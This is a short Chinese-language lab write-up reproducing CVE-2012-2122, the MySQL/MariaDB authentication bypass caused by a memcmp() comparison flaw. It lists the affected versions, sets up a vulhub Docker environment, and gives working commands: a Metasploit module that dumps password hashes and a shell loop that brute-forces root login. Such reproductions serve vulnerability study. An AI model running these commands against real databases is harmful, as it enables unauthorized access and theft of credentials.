前言
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。 我们可以使用Meterpreter中的模块或者使用特殊的SQL语句进行身份绕过登录。 影响版本: MySQL 5.1.x before 5.1.63 5.5.x before 5.5.24, 5.6.x before 5.6.6, MariaDB 5.1.x before 5.1.62, 5.2.x before 5.2.12 5.3.x before 5.3.6 5.5.x before 5.5.23漏洞环境
cd vulhub-master/mysql/CVE-2012-2122 docker-compose up -d漏洞复现
Method1:使用Meterpreter
msfconsole use auxiliary/scanner/mysql/mysql_authbypass_hashdump set RHOSTS 192.168.10.1 set THREADS 100 run 返回结果如下,可以读取到数据库用户Hash值并保存在账户中 继而对Hash值进行破译,可以得到账户密码Method2:使用shell语句爆破
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.202.133 -P 3306 ; done
爆破多次即绕过身份验证,成功登录数据库,复现成功